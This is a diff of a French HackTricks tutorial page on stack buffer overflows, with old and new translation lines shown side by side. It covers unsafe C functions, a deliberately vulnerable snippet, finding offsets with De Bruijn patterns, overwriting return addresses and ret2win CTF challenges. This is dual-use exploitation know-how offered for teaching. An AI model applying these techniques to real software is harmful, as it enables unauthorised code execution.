* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@ -18,13 +18,13 @@ Autres façons de soutenir HackTricks :
Un **débordement de pile** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données sur la pile qu'il n'est alloué pour en contenir. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, la perturbation du flux de contrôle et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.
Le principal problème de cet écrasement est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour revenir à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra les écraser et **contrôler le flux d'exécution du programme**.
Le principal problème de cet écrasement est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour retourner à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra les écraser et **contrôler le flux d'exécution du programme**.
La vulnérabilité survient généralement parce qu'une fonction **copie à l'intérieur de la pile plus d'octets que la quantité qui lui est allouée**, ce qui lui permet d'écraser d'autres parties de la pile.
Certaines fonctions couramment vulnérables à cela sont : **`strcpy`, `strcat`, `sprintf`, `gets`**... De plus, des fonctions comme **`fgets`**, **`read` & `memcpy`** qui prennent un **argument de longueur**, pourraient être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée.
Par exemple, les fonctions suivantes pourraient être vulnérables:
Par exemple, les fonctions suivantes pourraient être vulnérables :
```c
void vulnerable() {
char buffer[128];
@ -35,9 +35,9 @@ printf("You entered: %s\n", buffer);
```
### Trouver les décalages des débordements de pile
La manière la plus courante de trouver des débordements de pile est de fournir une entrée très grande de `A`s (par exemple, `python3 -c 'print("A"*1000)'`) et d'attendre un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
La manière la plus courante de trouver des débordements de pile est de fournir une entrée très grande de `A`s (par exemple `python3 -c 'print("A"*1000)'`) et d'attendre un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver le décalage jusqu'à ce qu'il soit possible de **écraser l'adresse de retour**, pour cela, on utilise généralement une **séquence de De Bruijn**. Qui, pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_, est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur _n_** apparaît exactement une fois** en tant que sous-séquence contiguë.
De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver le décalage jusqu'à ce qu'il soit possible de **remplacer l'adresse de retour**, pour cela on utilise généralement une **séquence de De Bruijn**. Qui, pour un alphabet donné de taille _k_ et de sous-séquences de longueur _n_, est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur _n_** apparaît exactement une fois** en tant que sous-séquence contiguë.
De cette manière, au lieu de devoir déterminer manuellement quel décalage est nécessaire pour contrôler l'EIP, il est possible d'utiliser l'une de ces séquences comme rembourrage, puis de trouver le décalage des octets qui ont fini par l'écraser.
@ -62,14 +62,14 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## Exploiter les débordements de pile
Lors d'un débordement (en supposant que la taille du débordement est suffisamment grande), vous pourrez **écraser** les valeurs des variables locales à l'intérieur de la pile jusqu'à atteindre les **EBP/RBP et EIP/RIP sauvegardés (voire plus)**.\
La manière la plus courante d'exploiter ce type de vulnérabilité est en **modifiant l'adresse de retour** afin que lorsque la fonction se termine, le **flux de contrôle soit redirigé où l'utilisateur l'a spécifié** dans ce pointeur.
Pendant un débordement (en supposant que la taille du débordement est suffisamment grande), vous pourrez **écraser** les valeurs des variables locales à l'intérieur de la pile jusqu'à atteindre les **EBP/RBP et EIP/RIP sauvegardés (voire plus)**.\
La manière la plus courante d'exploiter ce type de vulnérabilité est en **modifiant l'adresse de retour** afin que lorsque la fonction se termine, le **flux de contrôle soit redirigé où l'utilisateur l'a spécifié** dans ce pointeur.
Cependant, dans d'autres scénarios, peut-être que simplement **écraser les valeurs de certaines variables dans la pile** pourrait suffire pour l'exploitation (comme dans les défis CTF faciles).
### Ret2win
Dans ce type de défis CTF, il y a une **fonction** **à l'intérieur** du binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver le **décalage pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/) serait désactivé) afin que lorsque la fonction vulnérable retourne, la fonction cachée sera appelée :
Dans ce type de défis CTF, il y a une **fonction** **à l'intérieur** du binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver le **décalage pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/) serait désactivé) donc lorsque la fonction vulnérable retourne, la fonction cachée sera appelée :
{% content-ref url="ret2win/" %}
[ret2win](ret2win/)
@ -93,15 +93,15 @@ Cette technique est le cadre fondamental pour contourner la principale protectio
## Débordements de tas
Un débordement ne se produira pas toujours dans la pile, il pourrait également se produire dans le **tas**, par exemple :
Un débordement n'est pas toujours dans la pile, il pourrait également être dans le **tas** par exemple :
{% content-ref url="../heap/heap-overflow.md" %}
[heap-overflow.md](../heap/heap-overflow.md)
{% content-ref url="../libc-heap/heap-overflow.md" %}
[heap-overflow.md](../libc-heap/heap-overflow.md)
{% endcontent-ref %}
## Types de protections
Il existe plusieurs protections visant à prévenir l'exploitation des vulnérabilités, consultez-les ici :
Il existe plusieurs protections visant à prévenir l'exploitation des vulnérabilités, consultez-les dans :
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
@ -113,9 +113,9 @@ Il existe plusieurs protections visant à prévenir l'exploitation des vulnérab
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.